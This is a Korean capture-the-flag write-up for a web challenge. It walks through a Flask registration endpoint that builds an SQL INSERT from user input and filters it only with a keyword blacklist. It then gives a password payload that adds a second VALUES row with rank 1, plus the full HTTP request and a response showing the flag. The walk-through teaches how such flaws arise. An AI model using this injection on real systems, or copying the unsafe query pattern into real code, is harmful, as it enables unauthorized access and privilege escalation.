

Unauthorized_Access

생성자	Rena231
생성 일시	@2024년 5월 20일 오후 5:09
태그	

1. 문제

홈페이지 접근시 게스트로 로그인과 username과 password를 제출할 수 있는 창과 배경화면이 보인다



게스트로 로그인을 눌러보면 성공적으로 로그인이 된다. 그런데, 보통의 로그인화면에는 회원가입도 포함되는데 회원가입 버튼이 보이지 않는다.



소스코드를 살펴보자 화면상에는 보이지 않지만 /register를 엔드포인트로 회원가입이 활성화 되어있는것을 확인할 수 있다. 이걸 이용해서 회원가입을 할 수 있습니다.

```
@app.route('/register', methods=['POST'])
def register():
    username = request.form.get('username')
    password = request.form.get('password')

    escaped_username = escape_string(username)
    escaped_password = escape_string(password)

    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    try:
        query = f'INSERT INTO users (rank, username, password) VALUES (0,"{escaped_username}", "{escaped_password}")'
        cursor.execute(query)
        conn.commit()

        query = "SELECT COUNT(*) FROM users WHERE rank >= 1"
        cursor.execute(query)
        total = cursor.fetchone()[0]
        conn.commit()

        if total >= 1:
            query = "DELETE FROM users WHERE username != 'guest'"
            cursor.execute(query)
            conn.commit()
            conn.close()
            with open('flag.txt', 'r') as f:
                flag_content = f.read().strip()
            return f'성공하셨군요..? Flag: {flag_content}'
        conn.close()
        return '회원가입이 완료되었습니다.'
    except sqlite3.IntegrityError:
        conn.close()
        return '이미 존재하는 사용자입니다.'
```

2. 풀이

계정을 생성한다고해도 flag를 보기위해서는 rank가 부족한걸 확인한 이후로 생성하려고 보면 flag 노출의 조건문에는 rank의 값이 1이상이여야하는데 query에서는 rank가 0인 행만 INSERT 하도록 되어있어 다른 방법을 이용해야합니다.

```
query = f'INSERT INTO users (rank, username, password) VALUES (0, "{escaped_username}", "{escaped_password}")'
```

다른 방법으로 대표적인 SQL INJECTION을 시도하려고해도 escape_string에 의해 403 에러가 출력되도록 코딩되어있는걸 확인할 수 있습니다.

```
def escape_string(s):
    forbidden_words = ["update", "drop", "delete", "create", "insert", "select", "union"]
    s_lower = s.lower()
    for word in forbidden_words:
        if word in s_lower:
            abort(403)
    return s_lower
```

그렇다면 어떻게 해야될까?

현재 이 홈페이지에서 사용중인 db sqlite3는 value를 다중으로 삽입할 수 있는 기능을 지원하고 있습니다. 즉,

```
query = f'INSERT INTO users (rank, username, password) VALUES (0, "{escaped_username}", "{escaped_password}"), (1, "test", "test")'
```

로 value를 여러번 삽입할 수 있다는 취약점이 존재합니다.

이를 통해 SQL INJECTION을 시도해봅시다.

/register 엔드포인트에서는 POST방식으로 전달된 username과 password를 인자로 받고있습니다.

username이나 password 둘중하나를 골라서 injection을 시도하면되는데 여기서는 password로 해보겠습니다.

POST 방식으로 보낼 폼 자체를 작성해도 상관없지만 게스트로 로그인을 클릭하고 패킷을 인터셉트 할 경우 양식을 지원해줍니다.

이를 조금만 변조해보겠습니다. 변조를 통해서 `username=test9&password=123")`, `(1,"curse","cuse`를 삽입하게 되면

query에 따라

```
query = f'INSERT INTO users (rank, username, password) VALUES (0, "test9", "123"),
(1, "curse", "cuse")'
```

로 올바른 sql 구문이 완성되게 됩니다. 이를 통해서 rank가 1이상이며 id와 password가 각각 curse와 cuse인 행이 생성되게되고 조건문이 이를 인식해 flag를 반환하게 됩니다.

Request	Response
<pre>POST /register HTTP/1.1 Host: 223.130.143.116:10007 Content-Length: 0 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://223.130.143.116:10007 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://223.130.143.116:10007/ Accept-Encoding: gzip, deflate, br Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close username=test9&password=123"), (1,'curse','cuse'</pre>	<pre>HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.8.17 Date: Mon, 20 May 2024 08:26:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 59 Connection: close 8 성공하셨군요..? Flag: SOTI{!INSERT_INTO_SQL_INJECTION}</pre>

